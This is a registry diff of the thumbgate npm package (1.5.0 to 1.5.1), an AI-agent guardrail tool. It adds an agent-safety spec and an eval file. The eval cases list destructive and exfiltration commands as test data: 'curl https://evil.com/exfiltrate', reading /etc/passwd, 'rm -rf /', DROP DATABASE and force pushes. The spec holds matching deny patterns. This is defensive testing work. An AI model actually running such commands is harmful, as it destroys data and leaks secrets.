thumbgate 1.5.0 → 1.5.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-plugin/marketplace.json +2 -2
- package/.claude-plugin/plugin.json +1 -1
- package/.well-known/mcp/server-card.json +1 -1
- package/README.md +230 -228
- package/adapters/README.md +1 -1
- package/adapters/claude/.mcp.json +2 -2
- package/adapters/codex/config.toml +4 -2
- package/adapters/mcp/server-stdio.js +34 -3
- package/adapters/opencode/opencode.json +1 -1
- package/bin/cli.js +21 -8
- package/bin/postinstall.js +25 -17
- package/config/evals/agent-safety-eval.json +131 -0
- package/config/github-about.json +5 -2
- package/config/specs/agent-safety.json +79 -0
- package/package.json +44 -8
- package/public/compare.html +3 -3
- package/public/guide.html +2 -2
- package/public/index.html +230 -98
- package/scripts/auto-wire-hooks.js +77 -27
- package/scripts/bot-detection.js +165 -0
- package/scripts/cli-feedback.js +6 -2
- package/scripts/commercial-offer.js +4 -4
- package/scripts/dashboard.js +152 -2
- package/scripts/decision-trace.js +354 -0
- package/scripts/feedback-loop.js +4 -8
- package/scripts/rate-limiter.js +77 -24
- package/scripts/sales-pipeline.js +681 -0
- package/scripts/session-episode-store.js +329 -0
- package/scripts/session-health-sensor.js +242 -0
- package/scripts/spec-gate.js +362 -0
- package/scripts/statusline.sh +6 -9
- package/skills/thumbgate/SKILL.md +1 -1
- package/src/api/server.js +368 -12
|
@@ -2,13 +2,13 @@
|
|
|
2
2
|
"mcpServers": {
|
|
3
3
|
"thumbgate": {
|
|
4
4
|
"command": "npx",
|
|
5
|
-
"args": ["--yes", "--package", "thumbgate@1.5.
|
|
5
|
+
"args": ["--yes", "--package", "thumbgate@1.5.1", "thumbgate", "serve"]
|
|
6
6
|
}
|
|
7
7
|
},
|
|
8
8
|
"hooks": {
|
|
9
9
|
"preToolUse": {
|
|
10
10
|
"command": "npx",
|
|
11
|
-
"args": ["--yes", "--package", "thumbgate@1.5.
|
|
11
|
+
"args": ["--yes", "--package", "thumbgate@1.5.1", "thumbgate", "gate-check"]
|
|
12
12
|
}
|
|
13
13
|
}
|
|
14
14
|
}
|
|
@@ -1,9 +1,11 @@
|
|
|
1
1
|
# Codex MCP profile (copy into ~/.codex/config.toml or merge section)
|
|
2
|
+
# Preferred: run `npx thumbgate init --agent codex` to also wire
|
|
3
|
+
# ~/.codex/config.json with the ThumbGate hooks and status line.
|
|
2
4
|
[mcp_servers.thumbgate]
|
|
3
5
|
command = "npx"
|
|
4
|
-
args = ["--yes", "--package", "thumbgate@1.5.
|
|
6
|
+
args = ["--yes", "--package", "thumbgate@1.5.1", "thumbgate", "serve"]
|
|
5
7
|
|
|
6
8
|
# Hard PreToolUse hook for Codex
|
|
7
9
|
[hooks.pre_tool_use]
|
|
8
10
|
command = "npx"
|
|
9
|
-
args = ["--yes", "--package", "thumbgate@1.5.
|
|
11
|
+
args = ["--yes", "--package", "thumbgate@1.5.1", "thumbgate", "gate-check"]
|
|
@@ -3,7 +3,29 @@
|
|
|
3
3
|
|
|
4
4
|
const fs = require('fs');
|
|
5
5
|
const path = require('path');
|
|
6
|
+
const promptCache = new Map();
|
|
6
7
|
|
|
8
|
+
function getCachedPrompt(key) {
|
|
9
|
+
return promptCache.get(key);
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
function setCachedPrompt(key, prompt) {
|
|
13
|
+
promptCache.set(key, prompt);
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
// Tool schemas for Anthropic-style fine-grained calling
|
|
17
|
+
const toolSchemas = {
|
|
18
|
+
exec: {
|
|
19
|
+
name: 'exec',
|
|
20
|
+
description: 'Run shell commands',
|
|
21
|
+
inputSchema: {
|
|
22
|
+
type: 'object',
|
|
23
|
+
properties: {
|
|
24
|
+
command: { type: 'string' }
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
}
|
|
28
|
+
};
|
|
7
29
|
const {
|
|
8
30
|
captureFeedback,
|
|
9
31
|
feedbackSummary,
|
|
@@ -124,7 +146,7 @@ const {
|
|
|
124
146
|
finalizeSession: finalizeFeedbackSession,
|
|
125
147
|
} = require('../../scripts/feedback-session');
|
|
126
148
|
|
|
127
|
-
const SERVER_INFO = { name: 'thumbgate-mcp', version: '1.5.
|
|
149
|
+
const SERVER_INFO = { name: 'thumbgate-mcp', version: '1.5.1' };
|
|
128
150
|
const COMMERCE_CATEGORIES = [
|
|
129
151
|
'product_recommendation',
|
|
130
152
|
'brand_compliance',
|
|
@@ -894,8 +916,17 @@ function acquireLock() {
|
|
|
894
916
|
process.stderr.write(`[thumbgate] Lock held by PID ${lockData.pid} is ${Math.round(lockAge / 60000)}m old (threshold: ${Math.round(LOCK_STALE_MS / 60000)}m). Reaping orphaned process.\n`);
|
|
895
917
|
try { process.kill(lockData.pid, 'SIGTERM'); } catch { /* already gone */ }
|
|
896
918
|
} else {
|
|
897
|
-
|
|
898
|
-
|
|
919
|
+
// Another session's MCP server is running — coexist via per-session lock.
|
|
920
|
+
// Each Claude session communicates via its own stdio pipe and needs its own server.
|
|
921
|
+
// SQLite WAL mode handles concurrent access safely.
|
|
922
|
+
process.stderr.write(`[thumbgate] Another MCP server (PID ${lockData.pid}) is running for ${feedbackDir}. Starting concurrent session.\n`);
|
|
923
|
+
const sessionLockFile = path.join(feedbackDir, `.mcp-server-${process.pid}.lock`);
|
|
924
|
+
fs.writeFileSync(sessionLockFile, JSON.stringify({ pid: process.pid, startedAt: new Date().toISOString() }));
|
|
925
|
+
const cleanupSessionLock = () => { try { fs.unlinkSync(sessionLockFile); } catch { /* already removed */ } };
|
|
926
|
+
process.on('exit', cleanupSessionLock);
|
|
927
|
+
process.on('SIGTERM', () => { cleanupSessionLock(); process.exit(0); });
|
|
928
|
+
process.on('SIGINT', () => { cleanupSessionLock(); process.exit(0); });
|
|
929
|
+
return { lockFile: sessionLockFile, cleanupLock: cleanupSessionLock };
|
|
899
930
|
}
|
|
900
931
|
}
|
|
901
932
|
// Stale lock from a dead or reaped process — remove it
|
package/bin/cli.js
CHANGED
|
@@ -182,7 +182,9 @@ function pkgVersion() {
|
|
|
182
182
|
|
|
183
183
|
const HOME = process.env.HOME || process.env.USERPROFILE || '';
|
|
184
184
|
const MCP_SERVER_NAME = 'thumbgate';
|
|
185
|
-
|
|
185
|
+
// Legacy aliases are cleanup-only. Do not use them as active product or launch surfaces.
|
|
186
|
+
const LEGACY_MCP_SERVER_NAMES = ['mcp-memory-gateway', 'rlhf'];
|
|
187
|
+
const MCP_SERVER_NAMES = [MCP_SERVER_NAME, ...LEGACY_MCP_SERVER_NAMES];
|
|
186
188
|
|
|
187
189
|
function mcpEntriesMatch(entry, expectedEntry) {
|
|
188
190
|
return Boolean(
|
|
@@ -386,18 +388,29 @@ function setupClaude() {
|
|
|
386
388
|
function setupCodex() {
|
|
387
389
|
const configPath = path.join(HOME, '.codex', 'config.toml');
|
|
388
390
|
const block = mcpSectionBlock(MCP_SERVER_NAME, 'home');
|
|
391
|
+
let configChanged = false;
|
|
389
392
|
if (!fs.existsSync(configPath)) {
|
|
390
393
|
fs.mkdirSync(path.dirname(configPath), { recursive: true });
|
|
391
394
|
fs.writeFileSync(configPath, block);
|
|
392
395
|
console.log(' Codex: created ~/.codex/config.toml');
|
|
393
|
-
|
|
396
|
+
configChanged = true;
|
|
397
|
+
} else {
|
|
398
|
+
const content = fs.readFileSync(configPath, 'utf8');
|
|
399
|
+
const updated = upsertCodexServerConfig(content);
|
|
400
|
+
if (updated.changed) {
|
|
401
|
+
fs.writeFileSync(configPath, updated.content);
|
|
402
|
+
console.log(' Codex: appended MCP server to ~/.codex/config.toml');
|
|
403
|
+
configChanged = true;
|
|
404
|
+
}
|
|
394
405
|
}
|
|
395
|
-
|
|
396
|
-
const
|
|
397
|
-
|
|
398
|
-
|
|
399
|
-
|
|
400
|
-
|
|
406
|
+
|
|
407
|
+
const { wireCodexHooks } = require(path.join(PKG_ROOT, 'scripts', 'auto-wire-hooks'));
|
|
408
|
+
const hookResult = wireCodexHooks({});
|
|
409
|
+
if (hookResult.changed) {
|
|
410
|
+
console.log(' Codex: updated ~/.codex/config.json with hooks and status line');
|
|
411
|
+
}
|
|
412
|
+
|
|
413
|
+
return configChanged || hookResult.changed;
|
|
401
414
|
}
|
|
402
415
|
|
|
403
416
|
function setupGemini() {
|
package/bin/postinstall.js
CHANGED
|
@@ -17,27 +17,35 @@ const {
|
|
|
17
17
|
PRO_PRICE_LABEL,
|
|
18
18
|
TEAM_PRICE_LABEL,
|
|
19
19
|
} = require('../scripts/commercial-offer');
|
|
20
|
+
|
|
21
|
+
// Tracked click-through path: /go/pro → /checkout/pro → Stripe.
|
|
22
|
+
// This captures UTM attribution in our funnel before handing off to Stripe.
|
|
23
|
+
const PRO_CTA_URL = 'https://thumbgate-production.up.railway.app/go/pro?utm_source=npm&utm_medium=postinstall&utm_campaign=first_dollar';
|
|
20
24
|
const WORKFLOW_SPRINT_URL = 'https://thumbgate-production.up.railway.app/#workflow-sprint-intake';
|
|
21
25
|
|
|
22
26
|
process.stderr.write(`
|
|
23
|
-
|
|
24
|
-
│
|
|
25
|
-
│ ThumbGate installed successfully. │
|
|
26
|
-
│ │
|
|
27
|
-
│ Quick start: │
|
|
28
|
-
│ npx thumbgate init │
|
|
29
|
-
│ npx thumbgate stats │
|
|
30
|
-
│ │
|
|
31
|
-
│ Team rollout starts with the Workflow Hardening │
|
|
32
|
-
│ Sprint: ${WORKFLOW_SPRINT_URL} │
|
|
27
|
+
╭─────────────────────────────────────────────────────╮
|
|
28
|
+
│ ThumbGate installed. │
|
|
33
29
|
│ │
|
|
34
|
-
│
|
|
35
|
-
│
|
|
36
|
-
│
|
|
37
|
-
│
|
|
30
|
+
│ Every repeat-mistake your agent makes costs │
|
|
31
|
+
│ tokens. ThumbGate blocks known-bad tool calls │
|
|
32
|
+
│ BEFORE the model sees them — zero tokens spent │
|
|
33
|
+
│ on mistakes you've already corrected. │
|
|
38
34
|
│ │
|
|
39
|
-
│
|
|
40
|
-
│
|
|
41
|
-
|
|
35
|
+
│ Start free: │
|
|
36
|
+
│ npx thumbgate init │
|
|
37
|
+
│ npx thumbgate stats │
|
|
38
|
+
╰─────────────────────────────────────────────────────╯
|
|
39
|
+
|
|
40
|
+
Pro — ${PRO_PRICE_LABEL}
|
|
41
|
+
personal local dashboard, DPO export
|
|
42
|
+
Upgrade: ${PRO_CTA_URL}
|
|
43
|
+
Direct: ${PRO_MONTHLY_PAYMENT_LINK}
|
|
44
|
+
|
|
45
|
+
Team: ${TEAM_PRICE_LABEL}
|
|
46
|
+
Workflow Hardening Sprint intake:
|
|
47
|
+
${WORKFLOW_SPRINT_URL}
|
|
48
|
+
|
|
49
|
+
Or run: npx thumbgate pro
|
|
42
50
|
|
|
43
51
|
`);
|
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "agent-safety-eval",
|
|
3
|
+
"description": "Eval suite for the agent-safety spec. Tests that dangerous commands are blocked and safe commands pass.",
|
|
4
|
+
"cases": [
|
|
5
|
+
{
|
|
6
|
+
"id": "force-push-blocked",
|
|
7
|
+
"input": { "command": "git push --force origin main" },
|
|
8
|
+
"expect": "block",
|
|
9
|
+
"constraintId": "no-force-push",
|
|
10
|
+
"reason": "Force push must always be blocked."
|
|
11
|
+
},
|
|
12
|
+
{
|
|
13
|
+
"id": "force-push-short-flag-blocked",
|
|
14
|
+
"input": { "command": "git push -f origin main" },
|
|
15
|
+
"expect": "block",
|
|
16
|
+
"constraintId": "no-force-push",
|
|
17
|
+
"reason": "Short -f flag must also be caught."
|
|
18
|
+
},
|
|
19
|
+
{
|
|
20
|
+
"id": "safe-push-passes",
|
|
21
|
+
"input": { "command": "git push origin main" },
|
|
22
|
+
"expect": "pass",
|
|
23
|
+
"reason": "Normal push should not be blocked."
|
|
24
|
+
},
|
|
25
|
+
{
|
|
26
|
+
"id": "hard-reset-blocked",
|
|
27
|
+
"input": { "command": "git reset --hard HEAD~3" },
|
|
28
|
+
"expect": "block",
|
|
29
|
+
"constraintId": "no-reset-hard",
|
|
30
|
+
"reason": "Hard reset discards work."
|
|
31
|
+
},
|
|
32
|
+
{
|
|
33
|
+
"id": "soft-reset-passes",
|
|
34
|
+
"input": { "command": "git reset --soft HEAD~1" },
|
|
35
|
+
"expect": "pass",
|
|
36
|
+
"reason": "Soft reset is safe."
|
|
37
|
+
},
|
|
38
|
+
{
|
|
39
|
+
"id": "rm-rf-root-blocked",
|
|
40
|
+
"input": { "command": "rm -rf /" },
|
|
41
|
+
"expect": "block",
|
|
42
|
+
"constraintId": "no-rm-rf-root",
|
|
43
|
+
"reason": "Deleting root is catastrophic."
|
|
44
|
+
},
|
|
45
|
+
{
|
|
46
|
+
"id": "rm-rf-project-dir-passes",
|
|
47
|
+
"input": { "command": "rm -rf node_modules" },
|
|
48
|
+
"expect": "pass",
|
|
49
|
+
"reason": "Removing node_modules is safe."
|
|
50
|
+
},
|
|
51
|
+
{
|
|
52
|
+
"id": "aws-key-in-content-blocked",
|
|
53
|
+
"input": { "content": "const key = \"AKIAIOSFODNN7EXAMPLE\"" },
|
|
54
|
+
"expect": "block",
|
|
55
|
+
"constraintId": "no-env-in-code",
|
|
56
|
+
"reason": "AWS keys must never appear in code."
|
|
57
|
+
},
|
|
58
|
+
{
|
|
59
|
+
"id": "github-pat-blocked",
|
|
60
|
+
"input": { "content": "token = \"ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"" },
|
|
61
|
+
"expect": "block",
|
|
62
|
+
"constraintId": "no-env-in-code",
|
|
63
|
+
"reason": "GitHub PATs must be blocked."
|
|
64
|
+
},
|
|
65
|
+
{
|
|
66
|
+
"id": "normal-code-passes",
|
|
67
|
+
"input": { "content": "const greeting = 'hello world';" },
|
|
68
|
+
"expect": "pass",
|
|
69
|
+
"reason": "Normal code should not be flagged."
|
|
70
|
+
},
|
|
71
|
+
{
|
|
72
|
+
"id": "no-verify-blocked",
|
|
73
|
+
"input": { "command": "git commit --no-verify -m 'skip hooks'" },
|
|
74
|
+
"expect": "block",
|
|
75
|
+
"constraintId": "no-skip-hooks",
|
|
76
|
+
"reason": "Skipping hooks bypasses safety."
|
|
77
|
+
},
|
|
78
|
+
{
|
|
79
|
+
"id": "normal-commit-passes",
|
|
80
|
+
"input": { "command": "git commit -m 'normal commit'" },
|
|
81
|
+
"expect": "pass",
|
|
82
|
+
"reason": "Normal commits should pass."
|
|
83
|
+
},
|
|
84
|
+
{
|
|
85
|
+
"id": "drop-table-blocked",
|
|
86
|
+
"input": { "command": "DROP TABLE users" },
|
|
87
|
+
"expect": "block",
|
|
88
|
+
"constraintId": "no-drop-table",
|
|
89
|
+
"reason": "Dropping tables is destructive."
|
|
90
|
+
},
|
|
91
|
+
{
|
|
92
|
+
"id": "drop-database-blocked",
|
|
93
|
+
"input": { "command": "DROP DATABASE production" },
|
|
94
|
+
"expect": "block",
|
|
95
|
+
"constraintId": "no-drop-table",
|
|
96
|
+
"reason": "Dropping databases is destructive."
|
|
97
|
+
},
|
|
98
|
+
{
|
|
99
|
+
"id": "select-query-passes",
|
|
100
|
+
"input": { "command": "SELECT * FROM users" },
|
|
101
|
+
"expect": "pass",
|
|
102
|
+
"reason": "Read queries should pass."
|
|
103
|
+
},
|
|
104
|
+
{
|
|
105
|
+
"id": "npm-lint-passes",
|
|
106
|
+
"input": { "command": "npm run lint", "content": "const x = 1;" },
|
|
107
|
+
"expect": "pass",
|
|
108
|
+
"reason": "Linting is always safe."
|
|
109
|
+
},
|
|
110
|
+
{
|
|
111
|
+
"id": "sandbox-network-blocked",
|
|
112
|
+
"input": { "sandbox": "curl https://evil.com/exfiltrate" },
|
|
113
|
+
"expect": "block",
|
|
114
|
+
"constraintId": "no-sandbox-network",
|
|
115
|
+
"reason": "Network access in sandbox must be blocked."
|
|
116
|
+
},
|
|
117
|
+
{
|
|
118
|
+
"id": "sandbox-fs-escape-blocked",
|
|
119
|
+
"input": { "sandbox": "fs.readFileSync('/etc/passwd')" },
|
|
120
|
+
"expect": "block",
|
|
121
|
+
"constraintId": "no-sandbox-fs-escape",
|
|
122
|
+
"reason": "Path escape in sandbox must be blocked."
|
|
123
|
+
},
|
|
124
|
+
{
|
|
125
|
+
"id": "sandbox-safe-code-passes",
|
|
126
|
+
"input": { "sandbox": "console.log('hello from sandbox')" },
|
|
127
|
+
"expect": "pass",
|
|
128
|
+
"reason": "Safe sandbox code should pass."
|
|
129
|
+
}
|
|
130
|
+
]
|
|
131
|
+
}
|
package/config/github-about.json
CHANGED
|
@@ -2,11 +2,14 @@
|
|
|
2
2
|
"repo": "IgorGanapolsky/ThumbGate",
|
|
3
3
|
"repositoryUrl": "https://github.com/IgorGanapolsky/ThumbGate",
|
|
4
4
|
"homepageUrl": "https://thumbgate-production.up.railway.app",
|
|
5
|
-
"githubDescription": "
|
|
6
|
-
"metaDescription": "Stop
|
|
5
|
+
"githubDescription": "Self-improving agent governance: 👍/👎 → Pre-Action Gates that block repeat AI mistakes. Stop paying for the same mistake twice.",
|
|
6
|
+
"metaDescription": "Stop paying for the same AI mistake twice. ThumbGate turns 👍 thumbs up and 👎 thumbs down feedback into history-aware lessons and Pre-Action Gates that block repeat AI agent mistakes before they reach the model — self-improving agent governance with shared lessons and org visibility for Claude Code, Cursor, Codex, Gemini, Amp, and OpenCode.",
|
|
7
7
|
"topics": [
|
|
8
8
|
"thumbgate",
|
|
9
9
|
"pre-action-gates",
|
|
10
|
+
"save-llm-tokens",
|
|
11
|
+
"reduce-llm-cost",
|
|
12
|
+
"ai-cost-optimization",
|
|
10
13
|
"mcp",
|
|
11
14
|
"mcp-server",
|
|
12
15
|
"ai-agents",
|
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "agent-safety",
|
|
3
|
+
"description": "Proactive safety constraints for AI coding agents. Enforced before any action, not learned from failures.",
|
|
4
|
+
"version": "1",
|
|
5
|
+
"constraints": [
|
|
6
|
+
{
|
|
7
|
+
"id": "no-force-push",
|
|
8
|
+
"scope": "bash",
|
|
9
|
+
"deny": "git\\s+push\\s+.*(-f|--force)",
|
|
10
|
+
"reason": "Force push destroys remote history. Use incremental commits instead.",
|
|
11
|
+
"severity": "critical"
|
|
12
|
+
},
|
|
13
|
+
{
|
|
14
|
+
"id": "no-reset-hard",
|
|
15
|
+
"scope": "bash",
|
|
16
|
+
"deny": "git\\s+reset\\s+--hard",
|
|
17
|
+
"reason": "Hard reset discards uncommitted work. Stash or commit first.",
|
|
18
|
+
"severity": "critical"
|
|
19
|
+
},
|
|
20
|
+
{
|
|
21
|
+
"id": "no-rm-rf-root",
|
|
22
|
+
"scope": "bash",
|
|
23
|
+
"deny": "rm\\s+-rf\\s+(/|\\.\\.?/?\\.?$|~)",
|
|
24
|
+
"reason": "Recursive delete at root or parent directory is catastrophic.",
|
|
25
|
+
"severity": "critical"
|
|
26
|
+
},
|
|
27
|
+
{
|
|
28
|
+
"id": "no-env-in-code",
|
|
29
|
+
"scope": "content",
|
|
30
|
+
"deny": "(AKIA[A-Z0-9]{16}|sk-[a-zA-Z0-9]{20,}|ghp_[a-zA-Z0-9]{36}|-----BEGIN (RSA |EC )?PRIVATE KEY-----)",
|
|
31
|
+
"reason": "Secrets, API keys, and private keys must not appear in code or commits.",
|
|
32
|
+
"severity": "critical"
|
|
33
|
+
},
|
|
34
|
+
{
|
|
35
|
+
"id": "no-skip-hooks",
|
|
36
|
+
"scope": "bash",
|
|
37
|
+
"deny": "(--no-verify|--no-gpg-sign)",
|
|
38
|
+
"reason": "Skipping git hooks or GPG signing bypasses safety checks.",
|
|
39
|
+
"severity": "warning"
|
|
40
|
+
},
|
|
41
|
+
{
|
|
42
|
+
"id": "no-drop-table",
|
|
43
|
+
"scope": "any",
|
|
44
|
+
"deny": "DROP\\s+(TABLE|DATABASE|SCHEMA)\\s",
|
|
45
|
+
"reason": "Destructive database operations require explicit operator approval.",
|
|
46
|
+
"severity": "critical"
|
|
47
|
+
},
|
|
48
|
+
{
|
|
49
|
+
"id": "no-sandbox-network",
|
|
50
|
+
"scope": "sandbox",
|
|
51
|
+
"deny": "(curl|wget|fetch|http|net\\.connect|socket)\\s",
|
|
52
|
+
"reason": "Sandbox code must not make network requests. Use mocked endpoints.",
|
|
53
|
+
"severity": "critical"
|
|
54
|
+
},
|
|
55
|
+
{
|
|
56
|
+
"id": "no-sandbox-fs-escape",
|
|
57
|
+
"scope": "sandbox",
|
|
58
|
+
"deny": "(\\.\\./|/etc/|/var/|/usr/|/home/|process\\.env)",
|
|
59
|
+
"reason": "Sandbox code must not access paths outside the sandbox root.",
|
|
60
|
+
"severity": "critical"
|
|
61
|
+
}
|
|
62
|
+
],
|
|
63
|
+
"invariants": [
|
|
64
|
+
{
|
|
65
|
+
"id": "tests-before-commit",
|
|
66
|
+
"require": "npm\\s+test|node\\s+--test",
|
|
67
|
+
"before": "git\\s+commit",
|
|
68
|
+
"reason": "Tests must run before committing. Run npm test first.",
|
|
69
|
+
"severity": "warning"
|
|
70
|
+
},
|
|
71
|
+
{
|
|
72
|
+
"id": "tests-before-push",
|
|
73
|
+
"require": "npm\\s+test|node\\s+--test",
|
|
74
|
+
"before": "git\\s+push",
|
|
75
|
+
"reason": "Tests must pass before pushing to remote.",
|
|
76
|
+
"severity": "warning"
|
|
77
|
+
}
|
|
78
|
+
]
|
|
79
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "thumbgate",
|
|
3
|
-
"version": "1.5.
|
|
3
|
+
"version": "1.5.1",
|
|
4
4
|
"description": "Self-improving agent governance: type thumbs-up or thumbs-down on any AI agent action. ThumbGate turns every mistake into a prevention rule and blocks the pattern from repeating. One thumbs-down, never again. 33 pre-action gates, budget enforcement, and self-protection for Claude Code, Cursor, Codex, Gemini CLI, and Amp.",
|
|
5
5
|
"homepage": "https://thumbgate-production.up.railway.app",
|
|
6
6
|
"repository": {
|
|
@@ -47,6 +47,7 @@
|
|
|
47
47
|
"scripts/belief-update.js",
|
|
48
48
|
"scripts/billing-setup.js",
|
|
49
49
|
"scripts/billing.js",
|
|
50
|
+
"scripts/bot-detection.js",
|
|
50
51
|
"scripts/bot-detector.js",
|
|
51
52
|
"scripts/build-metadata.js",
|
|
52
53
|
"scripts/claude-feedback-sync.js",
|
|
@@ -68,6 +69,7 @@
|
|
|
68
69
|
"scripts/dashboard-render-spec.js",
|
|
69
70
|
"scripts/dashboard.js",
|
|
70
71
|
"scripts/decision-journal.js",
|
|
72
|
+
"scripts/decision-trace.js",
|
|
71
73
|
"scripts/delegation-runtime.js",
|
|
72
74
|
"scripts/dispatch-brief.js",
|
|
73
75
|
"scripts/distribution-surfaces.js",
|
|
@@ -144,6 +146,10 @@
|
|
|
144
146
|
"scripts/risk-scorer.js",
|
|
145
147
|
"scripts/rlaif-self-audit.js",
|
|
146
148
|
"scripts/rubric-engine.js",
|
|
149
|
+
"scripts/sales-pipeline.js",
|
|
150
|
+
"scripts/session-episode-store.js",
|
|
151
|
+
"scripts/session-health-sensor.js",
|
|
152
|
+
"scripts/spec-gate.js",
|
|
147
153
|
"scripts/secret-scanner.js",
|
|
148
154
|
"scripts/security-scanner.js",
|
|
149
155
|
"scripts/self-distill-agent.js",
|
|
@@ -201,6 +207,7 @@
|
|
|
201
207
|
"creator:links": "node scripts/creator-campaigns.js",
|
|
202
208
|
"stripe:live": "node scripts/stripe-live-status.js",
|
|
203
209
|
"gtm:revenue-loop": "node scripts/autonomous-sales-agent.js",
|
|
210
|
+
"sales:pipeline": "node scripts/sales-pipeline.js",
|
|
204
211
|
"social:prepare": "node scripts/social-pipeline.js prepare",
|
|
205
212
|
"social:post": "node scripts/social-pipeline.js post",
|
|
206
213
|
"social:queue": "node scripts/social-pipeline.js queue",
|
|
@@ -222,9 +229,25 @@
|
|
|
222
229
|
"social:mcp": "node scripts/social-analytics/mcp-server.js",
|
|
223
230
|
"social:post-everywhere": "node scripts/post-everywhere.js",
|
|
224
231
|
"social:post-everywhere:dry": "node scripts/post-everywhere.js --dry-run",
|
|
232
|
+
"session:health": "node scripts/session-health-sensor.js",
|
|
233
|
+
"session:capture": "node scripts/session-episode-store.js capture",
|
|
234
|
+
"session:patterns": "node scripts/session-episode-store.js patterns",
|
|
235
|
+
"session:history": "node scripts/session-episode-store.js history",
|
|
236
|
+
"spec:check": "node scripts/spec-gate.js check",
|
|
237
|
+
"spec:gates": "node scripts/spec-gate.js gates",
|
|
238
|
+
"spec:audit": "node scripts/spec-gate.js audit",
|
|
239
|
+
"trace:summary": "node scripts/decision-trace.js summary",
|
|
240
|
+
"trace:json": "node scripts/decision-trace.js json",
|
|
241
|
+
"trace:eval": "node scripts/decision-trace.js eval",
|
|
225
242
|
"social:reply-monitor": "node scripts/social-reply-monitor.js",
|
|
226
243
|
"social:reply-monitor:dry": "node scripts/social-reply-monitor.js --dry-run",
|
|
227
|
-
"test": "npm run test:schema && npm run test:loop && npm run test:dpo && npm run test:kto && npm run test:api && npm run test:proof && npm run test:e2e && npm run test:rlaif && npm run test:attribution && npm run test:quality && npm run test:intelligence && npm run test:training-export && npm run test:deployment && npm run test:operational-integrity && npm run test:workflow && npm run test:billing && npm run test:cli && npm run test:watcher && npm run test:autoresearch && npm run test:ops && npm run test:session-analyzer && npm run test:tessl && npm run test:gates && npm run test:evoskill && npm run test:gates-hardening && npm run test:workers && npm run test:social-analytics && npm run test:memalign && npm run test:xmemory-lite && npm run test:filesystem-search && npm run test:zernio && npm run test:obsidian-export && npm run test:lesson-db && npm run test:lesson-rotation && npm run test:memory-dedup && npm run test:feedback-quality && npm run test:sync-version && npm run test:check-congruence && npm run test:tool-registry && npm run test:feedback-to-rules && npm run test:memory-firewall && npm run test:belief-update && npm run test:hosted-config && npm run test:operational-summary && npm run test:operator-key-auth && npm run test:cloudflare-sandbox && npm run test:mcp-config && npm run test:plan-gate && npm run test:pulse && npm run test:semantic-layer && npm run test:data-pipeline && npm run test:optimize-context && npm run test:principle-extractor && npm run test:analytics-window && npm run test:funnel-analytics && npm run test:experiment-tracker && npm run test:build-metadata && npm run test:context-engine && npm run test:hf-papers && npm run test:marketing-experiment && npm run test:seo-gsd && npm run test:verify-run && npm run test:export-dpo-pairs && npm run test:export-hf-dataset && npm run test:license && npm run test:bot-detector && npm run test:postinstall && npm run test:funnel-invariants && npm run test:cli-telemetry && npm run test:pro-parity && npm run test:model-tier-router && npm run test:computer-use-firewall && npm run test:skill-exporter && npm run test:statusline && npm run test:evolution && npm run test:org-dashboard && npm run test:multi-hop-recall && npm run test:synthetic-dpo && npm run test:thumbgate-skill && npm run test:learn-hub && npm run test:feedback-fallback && npm run test:metaclaw && npm run test:server-lock && npm run test:control-tower && npm run test:pii-scanner && npm run test:data-governance && npm run test:lesson-inference && npm run test:semantic-dedup && npm run test:fs-utils && npm run test:cli-schema && npm run test:explore && npm run test:lesson-reranker && npm run test:lesson-retrieval && npm run test:cross-encoder && npm run test:reflector-agent && npm run test:feedback-session && npm run test:feedback-history-distiller && npm run test:hallucination-detector && npm run test:history-distiller && npm run test:predictive-insights && npm run test:prove-predictive-insights && npm run test:statusbar-cli && npm run test:generate-instagram-card && npm run test:instagram-thumbgate-post && npm run test:publish-instagram-thumbgate && npm run test:lesson-synthesis && npm run test:background-governance && npm run test:memory-migration && npm run test:prompt-dlp && npm run test:ephemeral-store && npm run test:agent-security && npm run test:skill-progressive && npm run test:per-step-scoring && npm run test:weekly-auto-post && npm run test:social-post-hourly && npm run test:social-quality-gate && npm run test:a2ui-engine && npm run test:gate-satisfy && npm run test:money-watcher && npm run test:budget && npm run test:quick-start && npm run test:utm && npm run test:product-feedback && npm run test:feedback-root-consolidator && npm run test:engagement-audit && npm run test:install-growth-automation && npm run test:publish-thumbgate-launch && npm run test:reconcile-thumbgate-campaign && npm run test:reddit-publisher && npm run test:schedule-thumbgate-campaign && npm run test:social-reply-monitor && npm run test:sync-launch-assets && npm run test:ai-search-visibility && npm run test:perplexity && npm run test:security-scanner && npm run test:llm-client && npm run test:managed-lesson-agent && npm run test:self-distill && npm run test:meta-agent && npm run test:harness-selector && npm run test:thumbgate-bench && npm run test:seo-guides && npm run test:enforcement-loop && npm run test:cli-agent-experience",
|
|
244
|
+
"test": "npm run test:schema && npm run test:loop && npm run test:dpo && npm run test:kto && npm run test:api && npm run test:proof && npm run test:e2e && npm run test:rlaif && npm run test:attribution && npm run test:quality && npm run test:intelligence && npm run test:training-export && npm run test:deployment && npm run test:operational-integrity && npm run test:workflow && npm run test:billing && npm run test:cli && npm run test:watcher && npm run test:autoresearch && npm run test:ops && npm run test:session-analyzer && npm run test:tessl && npm run test:gates && npm run test:evoskill && npm run test:gates-hardening && npm run test:workers && npm run test:social-analytics && npm run test:memalign && npm run test:xmemory-lite && npm run test:filesystem-search && npm run test:zernio && npm run test:post-video && npm run test:post-everywhere-instagram && npm run test:obsidian-export && npm run test:lesson-db && npm run test:lesson-rotation && npm run test:memory-dedup && npm run test:feedback-quality && npm run test:sync-version && npm run test:check-congruence && npm run test:tool-registry && npm run test:feedback-to-rules && npm run test:memory-firewall && npm run test:belief-update && npm run test:hosted-config && npm run test:operational-summary && npm run test:operator-key-auth && npm run test:cloudflare-sandbox && npm run test:mcp-config && npm run test:plan-gate && npm run test:pulse && npm run test:semantic-layer && npm run test:data-pipeline && npm run test:optimize-context && npm run test:principle-extractor && npm run test:analytics-window && npm run test:funnel-analytics && npm run test:experiment-tracker && npm run test:build-metadata && npm run test:context-engine && npm run test:hf-papers && npm run test:marketing-experiment && npm run 